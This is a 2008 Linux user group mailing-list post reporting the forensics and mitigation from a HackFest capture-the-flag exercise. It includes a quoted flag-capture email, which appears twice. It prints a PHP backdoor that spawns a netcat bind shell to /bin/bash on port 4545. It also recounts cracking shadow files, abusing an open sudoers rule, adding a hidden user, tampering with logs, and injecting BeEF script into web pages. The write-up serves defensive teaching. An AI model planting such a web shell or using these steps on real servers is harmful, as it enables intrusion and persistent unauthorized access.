December HackFest: Forensics & Mitigation Report
Lisa Kachold
lisakachold at obnosis.com
Mon Dec 15 10:27:16 MST 2008
See http://hackfest.obnosis.com
Preliminary Forensics
Attacks were initiated by more than PLUG members and we are still sorting out the results.
[Team has not completed the full analysis, yet.]
The root flag taken by ATB occurred over a 4 hour period and included the following exploits:
1) He ran john against the password file and obtained in 2 seconds all of the passwords for all users.
2) He setup foo.php in /var/www/html which reads:
<?php
system("/usr/local/bin/netcat -e /bin/bash -l 4545 &");
sleep(30);
system("pkill -f netcat");
?>
[root at spider html]#
This allows him to restart his nc tunnel should it lock up and regain access for port 4545 from the web systems.
Since nc did not exist on this server, he pulled in new source and built his own, however a yum install netcat would have sufficed, unless he wanted to customize his nc?
Since this was a FLAG he intentionally failed to rename nc to another innoculous name - like "gamed" or "apidc" where it would not easily be seen via a ps, or top.
3) He ran iwscan against the wlan0.
4) He nmap scanned the firewall from inside and an attemp to access /etc/shadow was logged.
2008-12-13 12:06:00 WEB /etc/shadow access 192.168.1.250
2 2008-12-13 12:04:59 WEB /etc/shadow access 192.168.1.250
3 2008-12-13 12:03:10 WEB /etc/shadow access 192.168.1.250
4 2008-12-13 12:03:06 WEB /etc/shadow access 192.168.1.250
5 2008-12-13 12:02:46 WEB /etc/shadow access 192.168.1.250
7 2008-12-13 12:00:42 WEB /etc/shadow access 192.168.1.250
8 2008-12-13 11:57:08 WEB /etc/shadow access 192.168.1.250
9 2008-12-13 11:56:50 WEB /etc/shadow access 192.168.1.250
10 2008-12-13 11:55:00 WEB /etc/shadow access 192.168.1.250
11 2008-12-13 11:52:30 WEB /etc/shadow access 192.168.1.250
12 2008-12-13 11:51:49 WEB /etc/shadow access 192.168.1.250
14 2008-12-13 11:48:24 WEB /etc/shadow access 192.168.1.250
15 2008-12-13 11:45:06 WEB /etc/shadow access 192.168.1.250
17 2008-12-13 11:38:22 WEB /etc/shadow access 192.168.1.250
18 2008-12-13 11:35:27 WEB /etc/shadow access 192.168.1.250
19 2008-12-13 11:33:31 WEB /etc/shadow access 192.168.1.250
5) The /var/log/rootsh was edited for all but selected entries to prove his access.
To prove the flag, our attacker also failed to edit the /var/log/secure and /var/log/messages as well as root's .bash_history files which would normally show no access.
Flags available, yet not obtained were:
Web Encroachment:
1) MySql injection (root)
2) http://httpd.apache.org/security/vulnerabilities_22.html
Apache/2.2.10
Additional things that might have been done:
Add BEef javascript to the host pages to take over all web visitors.
A Easypwn run in Unified sniffing mode would have gotten the firewall password. An "links" from the server would have allowed ATB to run ftp and wget from the linux firewall source image via the Diagnostics traceroute web gateway form to add a telnet or other application. The custom sources for the firewall were also on this server, so he could have changed one or more of the vpn tunnels so that they could not be changed from the web based interface to ensure access.
To mitigate this encroachment, we would have:
1) Set secure "aged" passwords of at least 8 RANDOM characters.
2) Follow standard practices for file permissions, and users.
3) Removed backup-files.
4) Setup sudo for each login rather than all and only a select few.
5) Setup dictionary attacks/brute force controls to protect ssh
6) Use a VPN or source and destination iptables to single IPs for SSH.
Recovery from this encroachment:
1) CERT suggests that any encroached server be taken immediately offline. However Few do so because of 24X7 uptime requirements.
In our case, I can simply add an IPTABLE statement to block 4545, and 22 on the server.
[Sysadmin thinks: "Gee, I hope hope hope he didn't get an adjacent one via Easypwn? Do I know? Did I have a promiscious tcpdump or sniffer watching everything? How long will it take me to go through all those logs....." Time for lunch...]
2) Rootkit analsis would include a complete low level inode check of all binaries.
Even then, things like BEef javascript and XSS proxy added to the DocumentRoot files would not be seen.
It is generally quicker and easier to simply reimage a server. Best practices include a System dd or backup immediately after BUILD and configuration, to immediately return a server to a pristine state.
All users post encroachment MUST setup new passwords - ensuring they are NOT using bogus easy or repeated ones.
3) The firewall should also be reimaged with new firmware and reset to default, and reconfigured. Just evaluating the router.cfg file with hexedit for instance will not see if additional sources have been configured.
Post encroachment, ALL processes, from human trust, management practices, and especially OSI layer firewalling from the outside, must be re-evaluated, and generally, the attack vector is re-engineered, or updated (i.e. SSH is completely turned off).
Honeypots and fully REPORTING our attackers:
We could now set traps:
1) Setup /rootsh to log to another server that is copied to another directory every minute or so, so that it cannot be edited. Copy rootsh to /sbin/bash (careful of permissions, suid is required for rootsh, and configure /etc/passwd for root's shell to be /sbin/bash or use a keylogger.
2) Setup alarms from iptables - running but only logging with a script from cron to search for any log "text"; configure snorts alerts.
3) Use a network log from the router to another server.
4) Boot the server into a liveCd honeypot, carefully replacing the original shadow and passwd files and home directories. Leave ssh and 4545 open, and wait to see as our owner returns to see what happened to his backdoor netcat tunnel.
If this were a real life administrative forensics session, WE MUST Alert our upstream and their SWIP'd provider with full logs of the exploit(s), including date, time, and other information.
Thanks for the fun!
www.Obnosis.com | http://en.wiktionary.org/wiki/Citations:obnosis | (503)754-4452
Catch the January PLUG HackFest! Kristy Westphal, CSO for the AZ Department of Economic Security will provide a one hour presentation on forensics 1/10/09 Noon at UAT.edu.
From: lisakachold at obnosis.com
To: plug-discuss at lists.plug.phoenix.az.us
Subject: HackFest: FLAG Escalated Access Taken = ROOT
Date: Mon, 15 Dec 2008 02:55:04 +0000
The second and most important root escalated privilege flag was taken by ATB known as Arkaic on Freenode PlugLabs IRC. The escalated permissions were obtained after running the default password shadow file on a FC system through John the Ripper to obtain "nobody" [whose default /etc/passwd shell was changed by a clueless and highly paid Drupal "developer" who was trying to get ftp to work to /bin/bash from /bin/nologin ("Um....file transfer from Drupal is ftp right...?). ATB then found that there was a backup of the shadow file root hash with readable permissions (silly admins never set their UMASK right!) and that pam.d directory also had things writable (su).
After these easy actions, including running the /etc/shadow-bak file through John the Ripper [type yum install john], to get the root 4 digit numerical password, I believe ATB was resourceful enough to try "sudo" from nobody which the admin had, in his haste, set in /etc/sudoers to ALL (ALL) ALL rather than designate each and every one of the developers, since they were in a $REALBIGHURRY to get the site up. I believe ATB in his wisdom, then endeavored to add a few backdoors, and possibly a rootkit, but we have to do our full forensics for a full determination of all FLAGS obtained by his actions.
Dec 14 17:01:48 spider useradd[21049]: new group: name=waldo, GID=508
Dec 14 17:01:48 spider useradd[21049]: new user: name=waldo, UID=508, GID=508, home=/home/waldo, shell=/bin/bash
Dec 14 17:01:54 spider passwd: PAM unable to dlopen(/lib/security/pam_gnome_keyring.so):/lib/security/pam_gnome_keyring.so: cannot open shared object file: No such file or directory
Dec 14 17:01:54 spider passwd: PAM adding faulty module: /lib/security/pam_gnome_keyring.so
Dec 14 17:02:01 spider passwd: pam_unix(passwd:chauthtok): password changed for waldo
Dec 14 17:03:49 spider su: pam_unix(su-l:session): session closed for user root
Dec 14 17:03:52 spider sudo: nobody : TTY=pts/5 ; PWD=/ ; USER=root ; COMMAND=/bin/su -
Dec 14 17:03:52 spider su: pam_unix(su-l:session): session opened for user root by nobody(uid=0)
nobody pts/5 ip70-176-228-90. 16:55 1:09 0.20s 0.04s sshd: nobody [priv]
www.Obnosis.com | http://en.wiktionary.org/wiki/Citations:obnosis | (503)754-4452
Catch the January PLUG HackFest! Kristy Westphal, CSO for the AZ Department of Economic Security will provide a one hour presentation on forensics 1/10/09 Noon at UAT.edu.
Suspicious message? There’s an alert for that. Get your Hotmail® account now.
www.Obnosis.com | http://en.wiktionary.org/wiki/Citations:obnosis | (503)754-4452
Catch the January PLUG HackFest! Kristy Westphal, CSO for the AZ Department of Economic Security will provide a one hour presentation on forensics 1/10/09 Noon at UAT.edu.
From: lisakachold at obnosis.com
To: plug-discuss at lists.plug.phoenix.az.us
Subject: HackFest: FLAG Escalated Access Taken = ROOT
Date: Mon, 15 Dec 2008 02:55:04 +0000
The second and most important root escalated privilege flag was taken by ATB known as Arkaic on Freenode PlugLabs IRC. The escalated permissions were obtained after running the default password shadow file on a FC system through John the Ripper to obtain "nobody" [whose default /etc/passwd shell was changed by a clueless and highly paid Drupal "developer" who was trying to get ftp to work to /bin/bash from /bin/nologin ("Um....file transfer from Drupal is ftp right...?). ATB then found that there was a backup of the shadow file root hash with readable permissions (silly admins never set their UMASK right!) and that pam.d directory also had things writable (su).
After these easy actions, including running the /etc/shadow-bak file through John the Ripper [type yum install john], to get the root 4 digit numerical password, I believe ATB was resourceful enough to try "sudo" from nobody which the admin had, in his haste, set in /etc/sudoers to ALL (ALL) ALL rather than designate each and every one of the developers, since they were in a $REALBIGHURRY to get the site up. I believe ATB in his wisdom, then endeavored to add a few backdoors, and possibly a rootkit, but we have to do our full forensics for a full determination of all FLAGS obtained by his actions.
Dec 14 17:01:48 spider useradd[21049]: new group: name=waldo, GID=508
Dec 14 17:01:48 spider useradd[21049]: new user: name=waldo, UID=508, GID=508, home=/home/waldo, shell=/bin/bash
Dec 14 17:01:54 spider passwd: PAM unable to dlopen(/lib/security/pam_gnome_keyring.so):/lib/security/pam_gnome_keyring.so: cannot open shared object file: No such file or directory
Dec 14 17:01:54 spider passwd: PAM adding faulty module: /lib/security/pam_gnome_keyring.so
Dec 14 17:02:01 spider passwd: pam_unix(passwd:chauthtok): password changed for waldo
Dec 14 17:03:49 spider su: pam_unix(su-l:session): session closed for user root
Dec 14 17:03:52 spider sudo: nobody : TTY=pts/5 ; PWD=/ ; USER=root ; COMMAND=/bin/su -
Dec 14 17:03:52 spider su: pam_unix(su-l:session): session opened for user root by nobody(uid=0)
nobody pts/5 ip70-176-228-90. 16:55 1:09 0.20s 0.04s sshd: nobody [priv]
www.Obnosis.com | http://en.wiktionary.org/wiki/Citations:obnosis | (503)754-4452
Catch the January PLUG HackFest! Kristy Westphal, CSO for the AZ Department of Economic Security will provide a one hour presentation on forensics 1/10/09 Noon at UAT.edu.
Take the Black Pill & Wake up from "SECURITY MATRIX" - Check Metaploit against this MSN Footer:
_________________________________________________________________
Send e-mail anywhere. No map, no compass.
http://windowslive.com/Explore/hotmail?ocid=TXT_TAGLM_WL_hotmail_acq_anywhere_122008
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.PLUG.phoenix.az.us/pipermail/plug-discuss/attachments/20081215/48c39bb9/attachment.htm
More information about the PLUG-discuss
mailing list